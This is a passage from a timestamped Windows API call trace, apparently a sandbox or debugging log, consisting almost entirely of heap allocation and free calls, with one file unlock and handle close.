Flags=0x0, Size=0x52) returned 0xe15de0 [0196.951] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe16020 | out: hHeap=0x3b0000) returned 1 [0196.951] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe58378 | out: hHeap=0x3b0000) returned 1 [0196.951] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x42) returned 0xe2fdf8 [0196.951] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2fdf8 | out: hHeap=0x3b0000) returned 1 [0196.951] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3a) returned 0xe10870 [0196.951] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3a) returned 0xe10ee8 [0196.951] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe10870 | out: hHeap=0x3b0000) returned 1 [0196.952] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ac78 [0196.952] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ac28 [0196.952] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ac98 [0196.952] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac28 | out: hHeap=0x3b0000) returned 1 [0196.952] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac78 | out: hHeap=0x3b0000) returned 1 [0196.952] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac78 [0196.952] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4bca0 [0196.952] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3a) returned 0xe10870 [0196.952] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac78 | out: hHeap=0x3b0000) returned 1 [0196.952] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ac78 [0196.952] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac98 | out: hHeap=0x3b0000) returned 1 [0196.952] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe10ee8 | out: hHeap=0x3b0000) returned 1 [0196.952] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe55b40 [0196.953] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55b40 | out: hHeap=0x3b0000) returned 1 [0196.953] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe55b40 [0196.953] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe55c58 [0196.953] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55b40 | out: hHeap=0x3b0000) returned 1 [0196.953] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ac98 [0196.953] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ac28 [0196.953] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ac68 [0196.953] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac28 | out: hHeap=0x3b0000) returned 1 [0196.953] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac98 | out: hHeap=0x3b0000) returned 1 [0196.953] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac98 [0196.953] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4bcc0 [0196.953] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe55b40 [0196.953] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac98 | out: hHeap=0x3b0000) returned 1 [0196.953] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ac98 [0196.954] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac68 | out: hHeap=0x3b0000) returned 1 [0196.954] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55c58 | out: hHeap=0x3b0000) returned 1 [0196.954] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x42) returned 0xe2fdf8 [0196.954] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2fdf8 | out: hHeap=0x3b0000) returned 1 [0196.954] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3e) returned 0xe10ee8 [0196.955] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3e) returned 0xe10f30 [0196.955] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe10ee8 | out: hHeap=0x3b0000) returned 1 [0196.955] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ac68 [0196.955] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ac28 [0196.955] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4abc8 [0196.955] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac28 | out: hHeap=0x3b0000) returned 1 [0196.955] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac68 | out: hHeap=0x3b0000) returned 1 [0196.955] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac68 [0196.955] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4bce0 [0196.955] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3e) returned 0xe10ee8 [0196.955] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac68 | out: hHeap=0x3b0000) returned 1 [0196.955] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ac68 [0196.955] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4abc8 | out: hHeap=0x3b0000) returned 1 [0196.956] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe10f30 | out: hHeap=0x3b0000) returned 1 [0196.956] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4e) returned 0xe11f48 [0196.956] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11f48 | out: hHeap=0x3b0000) returned 1 [0196.956] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4a) returned 0xe11f48 [0196.956] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4a) returned 0xe12c00 [0196.956] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11f48 | out: hHeap=0x3b0000) returned 1 [0196.957] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4abc8 [0196.957] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ac28 [0196.957] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4acb8 [0196.957] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac28 | out: hHeap=0x3b0000) returned 1 [0196.957] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4abc8 | out: hHeap=0x3b0000) returned 1 [0196.957] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4abc8 [0196.957] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4bd00 [0196.957] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4a) returned 0xe11f48 [0196.957] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4abc8 | out: hHeap=0x3b0000) returned 1 [0196.957] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4abc8 [0196.957] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4acb8 | out: hHeap=0x3b0000) returned 1 [0196.957] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe12c00 | out: hHeap=0x3b0000) returned 1 [0196.957] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x52) returned 0xe16020 [0196.958] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe16020 | out: hHeap=0x3b0000) returned 1 [0196.958] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4e) returned 0xe12c00 [0196.958] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4e) returned 0xe12ec0 [0196.958] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe12c00 | out: hHeap=0x3b0000) returned 1 [0196.958] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4acb8 [0196.958] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ac28 [0196.958] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4acc8 [0196.958] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac28 | out: hHeap=0x3b0000) returned 1 [0196.958] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4acb8 | out: hHeap=0x3b0000) returned 1 [0196.958] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4acb8 [0196.958] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4bd20 [0196.958] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4e) returned 0xe12c00 [0196.959] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x28) returned 0xe33648 [0196.959] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4bc60 | out: hHeap=0x3b0000) returned 1 [0196.959] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4acb8 | out: hHeap=0x3b0000) returned 1 [0196.959] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4acb8 [0196.959] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4acc8 | out: hHeap=0x3b0000) returned 1 [0196.959] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe12ec0 | out: hHeap=0x3b0000) returned 1 [0196.959] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x76) returned 0xe26998 [0196.959] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe26998 | out: hHeap=0x3b0000) returned 1 [0196.959] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x72) returned 0xe26998 [0196.959] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x72) returned 0xe26c98 [0196.960] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe26998 | out: hHeap=0x3b0000) returned 1 [0196.960] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4acc8 [0196.960] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ac28 [0196.960] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4acd8 [0196.960] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac28 | out: hHeap=0x3b0000) returned 1 [0196.960] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4acc8 | out: hHeap=0x3b0000) returned 1 [0196.960] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4acc8 [0196.960] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4bc60 [0196.960] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x72) returned 0xe26998 [0196.960] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4acc8 | out: hHeap=0x3b0000) returned 1 [0196.960] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4acc8 [0196.960] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4acd8 | out: hHeap=0x3b0000) returned 1 [0196.961] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe26c98 | out: hHeap=0x3b0000) returned 1 [0196.961] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8a) returned 0xe34a30 [0196.961] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe34a30 | out: hHeap=0x3b0000) returned 1 [0196.961] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x86) returned 0xe05420 [0196.961] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x86) returned 0xe054b0 [0196.961] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe05420 | out: hHeap=0x3b0000) returned 1 [0196.961] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4acd8 [0196.961] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ac28 [0196.961] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ace8 [0196.962] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac28 | out: hHeap=0x3b0000) returned 1 [0196.962] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4acd8 | out: hHeap=0x3b0000) returned 1 [0196.962] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4acd8 [0196.962] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4bd40 [0196.962] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x86) returned 0xe05420 [0196.962] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4acd8 | out: hHeap=0x3b0000) returned 1 [0196.962] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4acd8 [0196.962] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ace8 | out: hHeap=0x3b0000) returned 1 [0196.962] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe054b0 | out: hHeap=0x3b0000) returned 1 [0196.962] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x54) returned 0xe16020 [0196.963] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe16020 | out: hHeap=0x3b0000) returned 1 [0196.963] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x50) returned 0xe12ec0 [0196.963] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x50) returned 0xe12cb0 [0196.963] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe12ec0 | out: hHeap=0x3b0000) returned 1 [0196.963] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ace8 [0196.963] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ac28 [0196.963] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4acf8 [0196.963] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac28 | out: hHeap=0x3b0000) returned 1 [0196.963] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ace8 | out: hHeap=0x3b0000) returned 1 [0196.963] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ace8 [0196.963] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4bd60 [0196.964] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x50) returned 0xe12ec0 [0196.964] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ace8 | out: hHeap=0x3b0000) returned 1 [0196.964] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ace8 [0196.964] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4acf8 | out: hHeap=0x3b0000) returned 1 [0196.964] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe12cb0 | out: hHeap=0x3b0000) returned 1 [0196.964] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x44) returned 0xe2fdf8 [0196.965] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2fdf8 | out: hHeap=0x3b0000) returned 1 [0196.965] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x36) returned 0xe32a78 [0196.965] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x36) returned 0xe32ab8 [0196.965] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32a78 | out: hHeap=0x3b0000) returned 1 [0196.965] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xe) returned 0xe55378 [0196.965] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xe) returned 0xe55390 [0196.965] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xe) returned 0xe553a8 [0196.965] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55390 | out: hHeap=0x3b0000) returned 1 [0196.965] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55378 | out: hHeap=0x3b0000) returned 1 [0196.965] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4acf8 [0196.965] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4bd80 [0196.965] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x36) returned 0xe32a78 [0196.965] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4acf8 | out: hHeap=0x3b0000) returned 1 [0196.965] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xe) returned 0xe55378 [0196.966] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe553a8 | out: hHeap=0x3b0000) returned 1 [0196.966] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32ab8 | out: hHeap=0x3b0000) returned 1 [0196.966] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x34) returned 0xe32ab8 [0196.966] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32ab8 | out: hHeap=0x3b0000) returned 1 [0196.966] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe55c58 [0196.966] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe55c90 [0196.967] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55c58 | out: hHeap=0x3b0000) returned 1 [0196.967] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4acf8 [0196.967] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ac28 [0196.967] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ad08 [0196.967] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac28 | out: hHeap=0x3b0000) returned 1 [0196.967] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4acf8 | out: hHeap=0x3b0000) returned 1 [0196.967] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4acf8 [0196.967] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4bda0 [0196.967] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe55c58 [0196.967] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x50) returned 0xe12cb0 [0196.968] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe33648 | out: hHeap=0x3b0000) returned 1 [0196.968] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4acf8 | out: hHeap=0x3b0000) returned 1 [0196.968] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4acf8 [0196.968] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ad08 | out: hHeap=0x3b0000) returned 1 [0196.968] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55c90 | out: hHeap=0x3b0000) returned 1 [0196.968] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1f868 | out: hHeap=0x3b0000) returned 1 [0196.968] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe551e0 | out: hHeap=0x3b0000) returned 1 [0196.969] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2fc18 | out: hHeap=0x3b0000) returned 1 [0196.969] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55288 | out: hHeap=0x3b0000) returned 1 [0196.969] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55c20 | out: hHeap=0x3b0000) returned 1 [0196.969] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55210 | out: hHeap=0x3b0000) returned 1 [0196.969] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2fd58 | out: hHeap=0x3b0000) returned 1 [0196.969] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe552b8 | out: hHeap=0x3b0000) returned 1 [0196.970] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe12158 | out: hHeap=0x3b0000) returned 1 [0196.970] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe552d0 | out: hHeap=0x3b0000) returned 1 [0196.970] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe15fc0 | out: hHeap=0x3b0000) returned 1 [0196.970] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe552e8 | out: hHeap=0x3b0000) returned 1 [0196.970] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe25718 | out: hHeap=0x3b0000) returned 1 [0196.970] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55300 | out: hHeap=0x3b0000) returned 1 [0196.981] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe34ac8 | out: hHeap=0x3b0000) returned 1 [0196.981] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55318 | out: hHeap=0x3b0000) returned 1 [0196.982] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe160e0 | out: hHeap=0x3b0000) returned 1 [0196.982] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55330 | out: hHeap=0x3b0000) returned 1 [0196.982] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2fda8 | out: hHeap=0x3b0000) returned 1 [0196.982] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55348 | out: hHeap=0x3b0000) returned 1 [0196.983] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32a38 | out: hHeap=0x3b0000) returned 1 [0196.983] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55360 | out: hHeap=0x3b0000) returned 1 [0196.983] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe5c6f0 | out: hHeap=0x3b0000) returned 1 [0196.983] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe5c520 | out: hHeap=0x3b0000) returned 1 [0196.983] UnlockFileEx (in: hFile=0x33c, dwReserved=0x0, nNumberOfBytesToUnlockLow=0xffffffff, nNumberOfBytesToUnlockHigh=0xffffffff, lpOverlapped=0x2a7b5b8 | out: lpOverlapped=0x2a7b5b8) returned 1 [0196.984] CloseHandle (hObject=0x33c) returned 1 [0196.984] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2fb28 | out: hHeap=0x3b0000) returned 1 [0196.984] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ad08 [0196.985] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ad08 | out: hHeap=0x3b0000) returned 1 [0196.985] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ad08 [0196.985] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aba8 | out: hHeap=0x3b0000) returned 1 [0196.985] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe26c18 | out: hHeap=0x3b0000) returned 1 [0196.985] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe54a88 | out: hHeap=0x3b0000) returned 1 [0196.985] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ad08 | out: hHeap=0x3b0000) returned 1 [0196.985] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ad08 [0196.985] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ad08 | out: hHeap=0x3b0000) returned 1 [0196.985] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ad08 [0196.985] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4abd8 | out: hHeap=0x3b0000) returned 1 [0196.986] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe559b8 | out: hHeap=0x3b0000) returned 1 [0196.986] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4b8c0 | out: hHeap=0x3b0000) returned 1 [0196.986] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ad08 | out: hHeap=0x3b0000) returned 1 [0196.986] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ad08 [0196.986] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ad08 | out: hHeap=0x3b0000) returned 1 [0196.986] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ad08 [0196.986] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab88 | out: hHeap=0x3b0000) returned 1 [0196.987] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55948 | out: hHeap=0x3b0000) returned 1 [0196.987] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4b8a0 | out: hHeap=0x3b0000) returned 1 [0196.987] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ad08 | out: hHeap=0x3b0000) returned 1 [0196.987] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ad08 [0196.987] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ad08 | out: hHeap=0x3b0000) returned 1 [0196.987] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ad08 [0196.987] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4abf8 | out: hHeap=0x3b0000) returned 1 [0196.988] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe10ea0 | out: hHeap=0x3b0000) returned 1 [0196.988] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4b980 | out: hHeap=0x3b0000) returned 1 [0196.988] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ad08 | out: hHeap=0x3b0000) returned 1 [0196.988] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ad08 [0196.988] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ad08 | out: hHeap=0x3b0000) returned 1 [0196.988] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x52) returned 0xe160e0 [0196.989] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe15f60 | out: hHeap=0x3b0000) returned 1 [0196.989] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe14c40 | out: hHeap=0x3b0000) returned 1 [0196.989] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe54a48 | out: hHeap=0x3b0000) returned 1 [0196.990] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, 